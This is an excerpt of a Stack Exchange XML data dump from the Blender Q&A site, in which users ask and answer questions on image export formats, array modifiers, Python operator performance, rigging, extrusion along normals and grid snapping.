  <row Id="7352" PostTypeId="2" ParentId="7351" CreationDate="2014-02-26T16:15:46.620" Score="-1" Body="&lt;p&gt;The image format &quot;.png&quot; is not a good format to export, since it does not feature it's own alpha channel. It rather saves the transparency to pixels than to an alpha channel, which can make it hard to interpret the alpha the right way for some programs. It also uses compression, which means a loss of quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my experience TARGA or OpenEXR are the best formats to use if you are going for a high quality.(large files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pixelation error does not necessarily have to result out of a wrong file format, it can also be the result of wrong image dimensions when rendering. An image or texture that covers more pixels in the render than in the original format is always going to be pixelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alex&lt;/p&gt;&#xA;" OwnerUserId="2605" LastActivityDate="2014-02-26T16:15:46.620" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostTypeId="2" ParentId="7351" CreationDate="2014-02-26T16:40:25.780" Score="2" Body="&lt;p&gt;&lt;strong&gt;Recommended:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;png: Great image quality, alpha support. File size is a bit large. Best overall. Compression hardly noticeable. also supports&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tga: Popular in game engines. Good quality, alpha channel. Support for lossless compression.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;hdr: 32 bit color depth. Use for environments maps only&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;exr: 32 bit color depth. Use it for rendering out images from blender that you plan on compositing later. Or for large textures that actually have the appropriate color information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;jpeg/jpg: Small file size, needs to use good compression to no like bad. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOT Recommended:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;gif: png was created to replace gif&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bmp: Huge file sizes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-26T20:30:24.227" LastActivityDate="2014-02-26T20:30:24.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7354" PostTypeId="2" ParentId="7350" CreationDate="2014-02-26T16:43:29.603" Score="0" Body="&lt;p&gt;if you really want to go for a specific texture color tone, try setting your HDR image to a single one and then adjust the colors of your textures manually (nodes) while keeping a look on the realtime cycles viewport render. If you change the HDR of course you have to redo the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to be sure your original texture's color has not been affected by colored light before you loaded it into blender.(e.g you took a photo of of your oak furniture wood while having a light turned on that has a yellowish tone and used the image as a texture, resulting in a weird appearance in your render). &lt;/p&gt;&#xA;" OwnerUserId="2605" LastActivityDate="2014-02-26T16:43:29.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7355" PostTypeId="2" ParentId="7332" CreationDate="2014-02-26T16:49:05.413" Score="0" Body="&lt;p&gt;It is not possible to unwrap using the Smart UV Project method with the constraint that everything must be inside of the UV grid. You will have to fit them in the UV grid after creating them either manually or through a python script.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-26T16:49:05.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7356" PostTypeId="2" ParentId="7332" CreationDate="2014-02-26T18:34:34.723" Score="1" Body="&lt;p&gt;The only way to do this with smart unwrap it to pack the islands after the are created. CTRL P &lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2014-02-26T18:34:34.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7357" PostTypeId="1" AcceptedAnswerId="7364" CreationDate="2014-02-26T21:08:54.323" Score="2" ViewCount="975" Body="&lt;p&gt;I am using an array modifier to create a long fence along a curve. I have modeled a small section of the fence so that I can use an array modifier to fill in the rest. I am using a curve as the path for the array modifier. The curve follows the path of the terrain. The fence is getting deformed as it is follow the curve. It is making the fence unrealistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuRCW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The planks going from pole  should be straight like they are in the original model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Abbd6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a low poly fence that is made up of simple boxes only the deformation the planks behave like I expect them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bfls5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the behaviour I expect from the high poly fence. I think the low poly fence works because there are no vertices to deform in the planks beside the endpoints. &#xA;How can I prevent the planks from deforming with the curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to distort the poles, so that it looks like the are follow the surface of the terrain. I do not want to planks to be bend, only stretched to connect to the poles as needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27119&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-26T21:18:16.350" LastActivityDate="2014-02-27T10:18:58.170" Title="Array Modifier deforming mesh" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7358" PostTypeId="1" AcceptedAnswerId="7360" CreationDate="2014-02-26T21:38:06.537" Score="29" ViewCount="9668" Body="&lt;p&gt;In my script, I have &lt;code&gt;for&lt;/code&gt; loop over many cube objects (~1000) and the treatment is very slow. Looking more in details, I notice that in the same amount of loops:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;if I use python operation or simple blender operation like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects[obj_name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it takes less than 0.08s (for all 1000 objects)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;but as soon as I start using blender operators like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_pattern() # or&#xA;bpy.ops.object.duplicate() # or&#xA;bpy.ops.object.location_clear() # or&#xA;bpy.ops.object.transform_apply() # etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, the performance drops down deeply with more than 6s for the same amount of objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And, a last information, if I reduce the amount of objects from 1000 to 50, the same set of operations with &lt;code&gt;bpy.ops&lt;/code&gt; is 0.03s - so extrapolating, it would be 0.6s for the 1000 objects and not 6s. It is as is with 1000 objects, we loose a factor 10 in speed in comparison than with 50 objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reducing the complexity of my mesh changing the cubes in planes but it had no effect at whole on performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something particular to know to improve these performance or a way to use the &lt;code&gt;bpy.ops&lt;/code&gt; methods with better performances? Obviously, I am missing something important probably.&lt;/p&gt;&#xA;" OwnerUserId="1314" LastEditorUserId="29301" LastEditDate="2018-10-14T23:18:21.513" LastActivityDate="2020-08-20T13:52:53.780" Title="Python performance with Blender operators" Tags="&lt;python&gt;&lt;performance&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostTypeId="1" CreationDate="2014-02-26T22:11:21.583" Score="5" ViewCount="567" Body="&lt;p&gt;Is there some way to convert many separate pieces of geometry inside one object to many linked duplicate objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, sapling results in leaves that are all inside one object.&#xA;I want to somehow use the normal and position of each leaf/face to define the rotation and location of new linked objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="25" LastEditDate="2015-12-14T05:57:25.630" LastActivityDate="2017-10-10T18:12:17.060" Title="How to convert sapling leaves to linked duplicates?" Tags="&lt;python&gt;&lt;objects&gt;&lt;workflow&gt;&lt;sapling-addon&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7360" PostTypeId="2" ParentId="7358" CreationDate="2014-02-26T22:45:10.317" Score="43" Body="&lt;p&gt;Most operators cause implicit scene updates. It means that every object in the scene is checked and updated if necessary. If you add e.g. mesh primitives using &lt;code&gt;bpy.ops.mesh.primitive_cube_add()&lt;/code&gt; in a loop, every iteration creates a new cube, starts a scene update and Blender iterates over all objects in the scene and updates objects if it has to.&lt;/p&gt;&#xA;&lt;p&gt;If you start with 0 objects, there will be 1 in the first iteration and 1 object needs to be checked in the scene update. In the second iteration, there will be 2 objects and 2 be checked. The first object was checked in the first iteration already (thus, 3 object updates in total). In the third iteration, there will be 3 objects and 3 + 2 + 1 = 6 objects checked in total. In iteration 1000, there will be 1000 objects and 500,500 checks have been carried out. Here's the formula where &lt;code&gt;n&lt;/code&gt; is the number of objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$\displaystyle \sum_{n=1}^n i = 1 + 2 + ... +  n = \frac {n (n + 1)} {2} $&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you see, the runtime isn't linear and could only be if there was only one update for every object &lt;strong&gt;after&lt;/strong&gt; all have been added. You need to use the &amp;quot;low-level&amp;quot; API - RNA methods and attributes - instead of operators to achieve better runtimes. A scene update needs to be called manually like &lt;code&gt;bpy.context.scene.update()&lt;/code&gt; with this approach.&lt;/p&gt;&#xA;&lt;p&gt;Many, but not all operator calls can be somehow replaced by &amp;quot;low-level&amp;quot; code. You can duplicate objects very efficiently like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;obs = []&#xA;sce = bpy.context.scene&#xA;&#xA;for i in range(-48, 48, 3):&#xA;    for j in range(-48, 48, 3):&#xA;        copy = ob.copy()&#xA;        copy.location += Vector((i, j, 0))&#xA;        copy.data = copy.data.copy() # also duplicate mesh, remove for linked duplicate&#xA;        obs.append(copy)&#xA;&#xA;for ob in obs:&#xA;    sce.objects.link(ob)&#xA;&#xA;sce.update() # don't place this in either of the above loops!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A good comparison between 4 different ways to do the same thing:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert_menu()&lt;/code&gt; - don't ever use this in a script, it is solely to show a menu for the user&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert()&lt;/code&gt; - this is supposed to be used via the UI, not in script. Use operator calls only if there is no lower-level API!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.bpy_struct.html#bpy.types.bpy_struct.keyframe_insert&quot; rel=&quot;noreferrer&quot;&gt;Object.keyframe_insert()&lt;/a&gt; - RNA method that can be called on an object, better&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/info_quickstart.html#animation&quot; rel=&quot;noreferrer&quot;&gt;The low-level way&lt;/a&gt; - add F-Curves and &lt;code&gt;keyframe_points&lt;/code&gt; manually, fastest but you need to do alot yourself and consider several conditions (like object not having &lt;code&gt;animation_data&lt;/code&gt; or an &lt;code&gt;animation_data.action&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Related (also examples included):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?286325-Python-slowing-down-over-time&quot; rel=&quot;noreferrer&quot;&gt;Python slowing down over time&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="15543" LastEditDate="2020-08-20T13:52:53.780" LastActivityDate="2020-08-20T13:52:53.780" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="7361" PostTypeId="1" CreationDate="2014-02-26T02:24:50.987" Score="1" ViewCount="494" Body="&lt;p&gt;I'd just like to be able to assign an object to a bone and have it be 100% controlled by that bone.  Surely this is possible without the weight painting business. Its so easy to miss a vertex or two somewhere, and then I end up with these long stretchy deformities when I set a pose.&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2598" OwnerDisplayName="I_miss_Steve_already" LastEditorUserId="599" LastEditDate="2014-02-27T00:21:46.123" LastActivityDate="2014-02-27T00:21:46.123" Title="Bones, weight painting and very weird deformations" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7362" PostTypeId="2" ParentId="7361" CreationDate="2014-02-26T16:43:27.857" Score="1" Body="&lt;p&gt;Enter edit mode for the armature and select the bone you want to be the parent. Go back to object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object to be the child, then shift select the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select Bone. You can't choose which bone here, it will be set to the bone that was selected when the armature was in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VW1Bh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify the settings under the Object Properties - Relations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OoOgc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose to set these properties manually but you may need to re-position the object afterwards.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-02-26T16:43:27.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7363" PostTypeId="1" CreationDate="2014-02-27T01:37:42.940" Score="3" ViewCount="17273" Body="&lt;p&gt;I used Rigify to create a rig for a character that I want to animate. I added in a human meta-rig and formed it to fit the human model. The problem occurs when I click generate under the Rigify buttons category. It does not create points for me to manipulate for the fingers, elbows or knees or a full skeleton for the character. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hctOy.png&quot; alt=&quot;this is the outcome of what I made&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMlNW.png&quot; alt=&quot;the rig when it is formed to the body&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oefzc.png&quot; alt=&quot;the solid view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2389" LastEditorUserId="743" LastEditDate="2014-03-01T22:44:54.787" LastActivityDate="2016-04-07T08:51:15.820" Title="Problems generating a rig with Rigify" Tags="&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7364" PostTypeId="2" ParentId="7357" CreationDate="2014-02-27T03:30:01.743" Score="4" Body="&lt;p&gt;The curve contains too many unnecessary points. Additional curvatures will bend the object where you don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better control in this case, I suggest to separate planks from poles, making them as two individual objects. Then use one simplified curve (or two curves) to control each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RpxSM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-27T10:18:58.170" LastActivityDate="2014-02-27T10:18:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7365" PostTypeId="1" AcceptedAnswerId="7366" CreationDate="2014-02-27T05:46:28.427" Score="38" ViewCount="80116" Body="&lt;p&gt;I am trying to extrude faces of a cylinder along local normals. 3dsmax can do it easy, couldn't find how to do it in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extrude region option extrudes it as shown in the first example. I want it done like the 2nd example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnP5w.png&quot; alt=&quot;Extrude&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2576" LastActivityDate="2018-04-27T22:41:10.067" Title="Extrude Faces along Local Normals" Tags="&lt;modeling&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="7366" PostTypeId="2" ParentId="7365" CreationDate="2014-02-27T06:21:10.780" Score="53" Body="&lt;p&gt;It looks like you want the &lt;em&gt;Extrude menu&lt;/em&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example 1:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are several ways to activate the &lt;em&gt;Extrude region&lt;/em&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;E&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; for the &lt;em&gt;Extrude menu&lt;/em&gt; and select it&lt;/li&gt;&#xA;&lt;li&gt;Press the button in &lt;em&gt;3D view &gt; Tool shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Tools &gt; Mesh tools &gt; Add &gt; Extrude Region&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kmzjz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two ways to get this result:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;em&gt;Region (Vertex normals)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;em&gt;Extrude region (Vertex Normals)&lt;/em&gt; from the extrude drop down at the top of the &lt;em&gt;Add&lt;/em&gt; section in the &lt;em&gt;Tool Shelf&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also two operators to get the same result:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; (Extrude), &lt;kbd&gt;Esc&lt;/kbd&gt; (confirm extrude, cancel transform) and then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; (Scale along normals).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOqcE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example 3:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are a couple ways to activate the &lt;em&gt;Extrude Individual&lt;/em&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; Extrude individual faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press the button in &lt;em&gt;3D view &gt; Tool shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Tools &gt; Mesh tools &gt; Add &gt; Extrude Individual&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nx1nP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Local orientation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Note that in blender, the &lt;em&gt;Local&lt;/em&gt; orientation is based on the rotation of the object. The above methods use the normals of the extruded geometry, however if you want to extrude along the objects' local orientation you must do something slightly different:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the transform orientation to &lt;em&gt;Local&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZzdg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the geometry you want to extrude selected, press &lt;kbd&gt;E&lt;/kbd&gt; and then &lt;kbd&gt;Esc&lt;/kbd&gt; to cancel the transform. If you are in face select mode you will notice you can see the indicators for faces where the new faces have been created:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDsQT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and move the mouse:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; locks the axis that is specified, so if the other key pressed is &lt;kbd&gt;Z&lt;/kbd&gt;, it will scale only on the X and Y axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; twice ensures that the objects' local orientation is being used. Global orientation is always used by default (first keypress), and then the orientation specified in the header is used after the same axis constraints are specified again (second keypress).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that you can also use this technique for extruding along the Normals the same as the first methods, just select &lt;em&gt;Normal&lt;/em&gt; as the orientation in the header instead of &lt;em&gt;Local&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-27T08:02:20.067" LastActivityDate="2014-02-27T08:02:20.067" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="7367" PostTypeId="2" ParentId="7365" CreationDate="2014-02-27T08:36:42.107" Score="0" Body="&lt;p&gt;Easy way: Select the ring of faces, goto Mesh &gt; Extrude Individual Face (as shown in other answer) then press ESC then use ALT S to scale the out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't press ESC you will scale faces, if you press ESC you will only scale along normal i.e. extrude out.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2014-02-27T08:36:42.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7368" PostTypeId="1" CreationDate="2014-02-27T09:29:01.980" Score="8" ViewCount="29944" Body="&lt;p&gt;I have an I-Beam where one end is on the grid and the other end is between grid lines. When I turn on &quot;snap to grid&quot; and moves all vertexes in the other end it snaps in grid &lt;em&gt;increments&lt;/em&gt;, not to the grid itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I really have to create a dummy on the grid to be able to snap to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender v2.69&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;I'm aware of &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and it works fine for simple meshes.  However this is what happens if you try the &quot;Snap selected to grid&quot; on a complex mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KMw5U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="599" LastEditDate="2014-03-06T20:57:33.057" LastActivityDate="2021-01-15T22:59:56.533" Title="How to snap part of a mesh to the grid?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7369" PostTypeId="2" ParentId="7368" CreationDate="2014-02-27T09:30:37.860" Score="5" Body="&lt;h1&gt;Method 1:&lt;/h1&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt;Selection to Grid&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6Ken.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9tHLM.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Method 2:&lt;/h1&gt;&#xA;&lt;p&gt;As an expansion of &lt;a href=&quot;https://blender.stackexchange.com/a/7386/599&quot;&gt;Leon Cheung's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the cursor to the selection:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hynji.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the cursor to grid&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HMDjI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the selection to the cursor with the &lt;em&gt;Offset&lt;/em&gt; option&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5LpF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The selection is now aligned with the grid, so you can snap using the normal increment snap.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hX6xV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-27T23:15:37.507" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostTypeId="1" CreationDate="2014-02-27T10:15:03.680" Score="1" ViewCount="146" Body="&lt;p&gt;Is there a easy way for Object A to use Object Bs sensor using the logic bricks? or do I need to have an always sensor on Object A, and run a custom python script?&lt;/p&gt;&#xA;" OwnerUserId="755" LastEditorUserId="2217" LastEditDate="2014-07-29T14:27:25.967" LastActivityDate="2014-07-29T14:27:25.967" Title="in Game Logic, can Object A use Object B's sensor?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
